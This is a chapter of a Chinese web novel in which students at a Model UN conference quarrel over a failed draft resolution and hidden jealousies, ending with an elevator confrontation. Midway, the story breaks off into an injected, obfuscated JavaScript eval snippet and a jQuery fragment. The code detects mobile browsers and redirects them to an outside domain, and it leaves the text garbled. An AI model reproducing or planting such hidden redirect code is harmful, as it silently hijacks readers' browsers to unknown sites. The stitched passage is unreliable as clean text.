64.一波未平
作品:《年少天纵》 伴随着夏浓一锤定音,会议正式结束。
会场里顿时一片沸腾,所有人都开始鼓掌,掌声持久而热烈,混杂着此起彼伏的口哨声与欢呼声:会议取得了丰硕的成果,大部分人都是满足而喜悦的,三天以来累积的疲倦和紧张,在这一刻得以尽情释放。
台上的几位主席团成员也都露出了轻松的笑容,黛西腼腆地笑着,绿色的眸子荡漾着暖意,大卫也松了松领带,向台下报以鼓掌回应,安东尼奥干脆脱下了外套,跳到了桌子上,毫无形象包袱地融入这片欢腾的人群。
过了许久,掌声不曾停歇,但夏浓显然有话要说。她锤了几下小木槌,但这声音淹没在大家的欢呼声里,以至于她不得不站上椅子,有些滑稽地挥舞着双手,潮水般的欢呼声和掌声才慢慢停下。
“亲爱的代表们,作为主席,我代表主席团,向全情投入的你们,以及会场内的其他工作人员,表示祝贺!很荣幸能够陪伴你们度过这三天,你们是当之无愧的拥有人文精神与思辨能力的世界公民!”
掌声渐止,会场渐渐归于肃穆。
“…在这个模拟的会场,你们为自己代表的国家殚精竭虑、纵横捭阖;为了取得共识、协商合作,你们放弃了休息的时间,查阅资料、挑灯夜战,拿出了优秀的文件成果。当你们走出会场,回归到现实生活中,我们更希望你们能真正地胸怀世界,积极承担社会责任,关注身边的社会议题,关注人类需要共同面对的挑战!”
顾梓聿发现自己居然被这短短几句话煽动得起了浑身鸡皮疙瘩,像是被某种理想主义的余温意外点燃。
“…好,模联大会第三委员会的会议到此结束,具体奖项我们将在明日公布,请大家尽情享受今晚的慈善晚会!”
欢呼声和口哨声再次响起,顾梓聿不会吹口哨,应景地拍了几下桌子,收拾好东西,他看起来一点儿也不懊恼,和几个朋友一边漫无边际地聊着天,一边慢悠悠地走出了会场。
外头天色已经完全暗了下来,天边泛着海一样的墨蓝,初春的风尚带着刺骨的寒意,但顾梓聿却深吸了一口气,像是在洗去残余的燥热。冷空气刺激得他鼻腔一酸,却也让他精神一振。
远处,艾伦和威特勾肩搭背地走远了,他和李知恩并肩而行,两人一路上没怎么说话,只是安静地走着。顾梓聿没沉溺于刚刚的功亏一篑,李知恩也很知趣地完全没提起这茬,而是哼起了最近很流行的一位索伦女歌手的乡村民谣。她的声音很好听,像空气一样,纯粹质朴,带着满满的青春少女气息。
李知恩哼着歌,顾梓聿也就安静听着。两人刚一走进酒店大堂,喧嚣的华纳语就如海潮扑面而来,高声笑谈中夹杂着耿帅那高亢到有点尖锐的声音:“凡神这波牛逼啊!最后一刻力挽狂澜、扭转乾坤,谁看了不说一句传奇?”
耿帅的脸上带着毫不掩饰的得意和挑衅,他的话一出,周围顿时爆发出一阵轰笑和附和。林亦凡正被一群八中的学生簇拥着,他白皙的脸上隐隐透出激动的红晕,虽然尽力矜持地保持稳重,但人人都可以看出他此刻有多兴奋、多享受这众星拱月的荣光。
就在这时,有人注意到了刚刚走进门来的顾梓聿。原本沸反盈天的大堂忽然像被按下了静音键,突兀地沉默了。
所有人的视线,齐刷刷落在顾梓聿身上。
即使是在别的会场,大家也或多或少地听说了这一场高.潮迭起,结局却出人意料的“内斗”,更别说刚才耿帅就在这儿绘声绘色地,把这起承转合连说带比划地演了一遍。此时众人见到传闻中用尽心机手段、最后还是被击败的顾梓聿,一时间俱都鸦雀无声,不知该以什么表情回应。
作为人群的中心,林亦凡敏锐地察觉到这沉默意味着什么,他转过身,正好视线与顾梓聿交汇,他隔着人群神情高傲,却还不忘做表面功夫,先给出了一个微笑:“回来了。”
语气和姿态都极为自然,几不可察地露出一点上位者施恩的从容。
人群不自觉地散开一条道路,人人脸上都混合着期待和迷惑、隐隐压抑不住看好戏的神情。顾梓聿却没有如众人所料地走近,只是站在李知恩身侧,远远地回以一个看起来再真诚不过的微笑,朗声道:“祝贺学长!表现很精彩。”
他这话说的没头没尾,于是众人也没领会过来,他是在讽刺林亦凡,自己吃不着,还要砸了别人家的锅。
毕竟说这话的时候,顾梓聿的脸上看不出有一丝一毫的不满愤懑。
林亦凡没想到顾梓聿能这么平静,这反而让他的胜利显得空虚了几分。原本预想中“赢家俯视输家”的场景并没有出现,如此,他也不好表露出自己的真实情绪,只能抑制住心底想要大声嘲讽的欲望,换上一副“前辈指导后辈”的口吻,语重心长地说:“梓聿,其实你这次真的表现不错。只是,有些事情不能太心急,下次稳住了,你也能走得更远。”
李知恩悄悄地翻了个白眼。
林亦凡的话音刚落,就被楼梯上的动静打断。田元元和杜若钦下来了。
田元元一脸的不高兴,完全无视林亦凡和他身边那一群八中的学生,径自走到顾梓聿面前,像是要找他算账似的,纤纤玉指一戳,直接戳在顾梓聿肩头,力道不轻,顾梓聿差点踉跄。
顾梓聿面对两位学姐,打招呼的话还没来得及出口,先是被这迅雷不及掩耳的一下弄得差点失去平衡,田元元又一指头戳在他胸口,他右脚及时地往后垫了一步才没踉跄倒地,眼前不由得冒出一排黑线:这位学姐又发什么疯?
顾梓聿的眉头还没来得及皱起来,田元元的声音就如同机关枪“哒哒哒”一直打到他疲惫的灵魂深处,她压着声音骂得凶,语速极快,却句句清晰刺耳。
“…我都把刀递到你手里了,结果你还能失手,可真是好功夫!你还要我怎样?把饭喂你嘴里吗?”
他勉强才跟上对方的语速,而后才听懂——原来今天早上会场报纸上那篇言辞犀利、质疑埃尔斯草案的头版头条,居然是田元元写的稿子。
田元元毫不留情地开着嘲讽,比往常的她牙尖嘴利百倍:“知道要登这样一篇有明显倾向、能够影响会议走向的报道有多难吗?还是登在主会场报纸的头版头条上?!这一届会议总共有 36 个会场!你以为媒体中心是你家开的啊?”
她的火气越来越大,“结果呢?结果你还是让埃尔斯的草案给通过了?!是你们会场的主席团傻逼还是你傻逼?!”
顾梓聿被这劈头盖脸的一顿骂给弄懵了。在他印象里,田元元虽然有点疯,但大部分时候是个笑眯眯的软妹子,结果现在这一句话里,左一个“傻逼”右一个“傻逼”,他简直要认不出眼前这个人了——田元元是不是被什么妖魔鬼怪给附身了?
话说回来,田元元估计是没了解清楚场上的局势,那篇报道确实助了他一臂之力,但他一个人也扛不住林亦凡和埃尔斯联手的疯狂反扑啊!
更何况,他自己已经够郁闷了:准备了两三个月,三天鏖战,今天凌晨杜若钦还帮着他熬夜改文件。但这结果没成就是没成啊,那除了接受,还能怎样?大闹会场哭一场窦娥冤吗?
田元元虽在气头上,但幸好她还没忘了自己平常的人设,故而还是压低了声音说话。围观群众见到她气势汹汹而来的模样,早就知情识趣地散了,连李知恩说了一句“待会儿咱们一起过去啊”之后,也远远地走开。因此她说的话,除了面前的顾梓聿和离得近的杜若钦和林亦凡之外,竟再无旁人听见。
林亦凡原先和顾梓聿一样,完全没想到那篇报道背后还能有自己人什么事。如今听着田元元那些话,脑子一炸。他原以为自己在田元元眼里,多少是个能托付战术、配得上“并肩作战”的人,结果她从头到尾只想到顾梓聿,宁肯用“写报道”这种费心费力的手段去帮他,却完全没考虑同一个会场的他。
况且,说不定那个直接排除了自己资格的“不采取行动”的动议也是田元元教顾梓聿的——他从来就没听说过这个动议!
杜若钦虽然对顾梓聿拿奖抱以殷切厚望,但她此时的心态却与田元元不同,于是,当田元元对着顾梓聿发着脾气的时候,她抱臂站在一旁,将林亦凡的表情毫无遗漏地收入眼中——
高中男生还没学会隐藏自己的情绪,即使是向来以温和面目示人的林亦凡,也在此刻露出了破绽:先是错愕,再是愠怒,最后则是竭力压抑的、几乎要冲破胸腔的不甘。他脸色发青,眼底翻涌着隐忍的怒意,险些决堤。
旁观者清,杜若钦早已看明白这场冲突的根源。林亦凡不是和顾梓聿过不去,他是因为田元元的注意力偏移而失了控;而顾梓聿则因田元元的种种“示好”被动卷入其中。
田元元还没明白,她这种游戏人间的心态惹来了大麻烦。如果不是田元元不断有意无意地做出靠近顾梓聿的姿态,也许林亦凡心中的妒火不会将他的理智燃烧殆尽,或许今天这场内讧就不会发生,八中或许能拿下一个,甚至两个奖项。
那样一来,这趟出行,她也好歹算是功德圆满。
田元元向来喜欢游弋在优秀男生之间,自诩“万花丛中过,片叶不沾身”,有时给些甜头,例如一个甜美的笑容,或是“一个我们间的小秘密”,再看着那些男神为她追逐打闹。林亦凡太温吞了,说一是一,毫无挑战性,偶然见到一个不为她所动的顾梓聿,就生起了撩拨的心思。
只可惜这场“游戏”她玩脱了。
杜若钦在心底无声叹息。
但她没有立场说什么。大家都是同龄人,她虽然是社长,却也没有理所应当的权力,站在道德制高点教训同侪。她所能做的,也只有沉默地站在一旁,一边替被卷入这场风暴的顾梓聿和自己默哀,一边等田元元的理智归位,等她真正意识到:不是所有人,都甘心围绕她,在她的剧本里演一辈子的配角。
林亦凡首先忍不住,上前既卑微又忐忑地问:“报道是你写的?”
田元元冷睨了他一眼,眼底的不耐烦清晰可见:“我还没说你呢,林亦凡,你怎么回事,在同一个会场里,作为学长你为什么不照顾一下顾梓聿?最后埃尔斯的草案能通过,你也有不小的责任!给我回去好好反思反思!”
杜若钦面无表情,但心里低低地哀嚎了一声:拜托,你就不能照顾一下那些男孩子们敏感的小情绪,尊重一下他们脆弱的小自尊?
但田元元太自信了,她完全不会在乎那些追逐者的心情。她想当然地认为,以林亦凡的人品,他不会将私人感情带到会场上去;又或者她太过相信顾梓聿的能力,认为无论林亦凡有什么盘算,顾梓聿都会成功。无论如何,她从未将林亦凡这个事事以她马首是瞻的变量纳入考量。
果然听到这话,林亦凡脸上阴暗的表情一闪而过:“顾梓聿那么优秀,我都比不上他,还要怎么照顾?”
田元元被这阴阳怪气的话一噎,大大的杏核眼马上就瞪圆了。
杜若钦头疼地兼职灭火员,趁着这三人都沉默的时候强势插入,先是轻轻拍了拍田元元的肩膀,虚虚地给了她一个拥抱,“元元你冷静一下。”
再背对着她朝顾梓聿使眼色,语气自然:“你不是晚上还要演出?赶快回去好好准备一下。”
顾梓聿知机地默默点头,快步离开。
把这个“地雷”赶走后,杜若钦才温声安慰起田元元:“好了,知道你为这次比赛付出了很多,辛苦你啦,别难为自己了,嗯?”
田元元心里也知道,她这次生气,恐怕更多地还是为了心里那点不可见人的隐秘心思——顾梓聿这人,这么就这么油盐不进!
杜若钦这样一说,倒显得她真的有十分的不容易,这令她久违地有点不好意思起来,脸一红,这气就没法接着撒了,她只好含羞带怨地“哼”了一声,嘟着嘴,就耍赖似地小姑娘一样硬挽着杜若钦走了。
落在两人后头的林亦凡脸上阴晴不定,远远地缀着前面两位学姐,也一声不吭。
三人本住在同一层。
电梯“叮”地一声停下,杜若钦走出电梯间,看着仍呆在里面的两人,意味深长地看了林亦凡一眼,再对田元元轻声说:“好好说话,晚上见。”
说完她顺势离开,留给两人一个安静的空间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488549|166578||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
电梯继续向上。
林亦凡窝在电梯角落,没有说话。他的手指下意识绞紧衣角,眉骨紧绷,连呼吸都轻得几不可闻。
他在等田元元回头给他一个解释。
但田元元没有。
“原来我真的只是个工具人。”林亦凡终于开口,声音淡得像是陈述事实,但听得出喉间带着轻微的颤音。
田元元抬起眼,但没回头:“你说什么?”
“你写那篇稿子、布那场舆论战,全程没告诉我一句。我以为我们是一个队的,”他笑了一下,那笑意却凉得像冰,“结果我连你计划的一部分都不是。”
田元元神色微怔,但随即皱眉:“你也太敏感了吧。那篇报道是当时唯一能撬动会场局势的机会,时间稍纵即逝,难道我还要先请示你?”
“你当然不需要请示我,但你不能这么偏心,”林亦凡盯着电梯镜面反射出的女孩面容,目光直白,“顾梓聿用不行动动议打我的时候,你在哪里?他有麻烦你就立刻现身。我呢?哪怕你事后说一句’我知道你尽力了’,我都能心甘情愿。但你是怎么说的?’最后埃尔斯的草案能通过,你也有不小的责任’!”
“好,退一步说,就算是因为我失败了,顾梓聿是八中剩下唯一的希望,你为了八中的利益着想,但你哪怕只是告诉我一声,让我心里有个准备,我都不会像现在这么生气。”
他喉头哽咽了一下,强忍着情绪。
“我以为我们起码还是并肩作战的搭档。”
我一直在你身边,但你为什么为了顾梓聿倾尽全力,却要求我“配合”他、“照顾”他?
“你一直都是我并肩作战的搭档,”田元元终于回头,认真地看着林亦凡,眉头轻蹙,像是不理解他的激动,“你稳、你细致、你思路清晰,这些你都很好。但那时候,草案1.1已经出局,顾梓聿确实更有优势,我评估过——”
“你评估?”林亦凡打断她,冷笑一声,“你是在排兵布阵吗?那我在你眼里,到底算什么?一枚按需调动的棋子?还是给顾梓聿保驾护航、用不上就丢的弃子?”
他越说越激动:“你搞搞清楚,最后通过的那份草案是我的,我写的!你的顾梓聿到最后什么也没做成!”
田元元愣住了。她终于意识到,事态比她想象地严重。
“你…不会是在吃醋吧?”她的语气轻地像是不敢置信。
林亦凡只是扯了扯嘴角,像是笑自己的可笑,声音低到几乎听不见:“我不该吃醋的,对吧?我又不是你的谁。”
空气诡异地静止了两秒。
“但那篇报道。”他咬了咬牙,声音里有愤怒、有委屈,也有隐隐的哀求,“你无论如何都要发出来,花了那么多心力,我只想问你一句——你有没有哪怕一刻想过,如果面对埃尔斯的是我,你还会这样不顾一切吗?”
田元元一时间无言。不是不知道答案,而是不敢说。
她确实没这样帮过林亦凡。她从来没有为他做过什么,她甚至没想过要为他做些什么。
沉默就是最好的答案。
林亦凡的眼神一点一点暗下去,他浑身的骄傲被击碎,此刻心灰意冷:“我不是非要你选我,不是非要你为我做什么……我只是想知道,我在你心里,是不是真的连才认识的学弟都不如。”
他苦笑着,往后退了一步,像是突然意识到自己站得太近,嗓音有点哑:“没事。我明白了。”
他顿了顿,又开口:“我可以不赢。但我想要被当作一个‘会赢的人’来对待——哪怕只是一瞬间,也该有机会争一争。”
争一争,不光是奖项,还有你。
田元元张了张嘴,想说点什么,但始终没能说出口。
林亦凡却已经不想听了。他抬手揉了揉鼻子,像是在掩饰什么,嗓音压得死死地:“算了,你不用回答。你一开口……我怕我以后都没法再跟你说话。”
电梯停下,他头也不回地走了出去,也没看这究竟是哪一层。他走得很快,怕再晚一步,情绪就会彻底崩溃,说出更难听的话。
田元元还站在原地,她轻轻哆嗦了一下,忽然觉得有点冷——电梯里没有风,那是从心底漏下去的空。
林亦凡从未这样和她说过话。
她一直是主导者,习惯了冷静地分配资源,盘算利弊。她以为林亦凡是她最稳固的左翼,但她忘了,翼也渴望张开飞翔,而不只是永远为她遮风挡雨。
她习惯了他的温吞,习惯了他的配合,甚至习惯了他连不满都藏得滴水不漏。
她以为他不在意。
她以为他不需要被安慰,不需要被特别对待,不会嫉妒,不会失落——像她身后的影子,沉默而可靠,永远也不会离开。
可刚才那一瞬,她第一次意识到:他也会痛,也会受伤,也会想被看见,也会期待被偏爱。
她忽然记起很多小事。
那些女孩的隐秘时刻他递来的热饮;社团活动时他永远陪她直到最后,两个人的影子被街灯拉得很长;轮到她值日时,他总是留下来帮着一起打扫,小跑着去洗拖把、倒垃圾;检查新社员那些狗屁不通的文件时,也是有他一句一句地帮着改,他却连一句表功都没说过。
可她只看到了顾梓聿。他更亮眼,更难以驾驭,她看见了他的出色,也确实欣赏他的锋芒。但她没有意识到,在她执着于这个“能够赢”的人时,她早就忽略了那个一直陪伴她、却始终没能被她看见的人。
“你有没有哪怕一刻想过,如果面对埃尔斯的是我,你还会这样不顾一切吗?”
林亦凡那句话像根钝钝的刺,扎进她心里,一动就疼。
她忽然想追上去解释点什么,哪怕只是说一句“你对我很重要”。
可她一步也没动。
她不知道自己是愧疚,还是害怕。如果她承认林亦凡对她有特别的感情,那意味着她必须为自己的选择负责——她到底是把他当作战友,还是……
那一刻,田元元忽然有些迟疑地想——自己是不是错过了某个重要的时刻?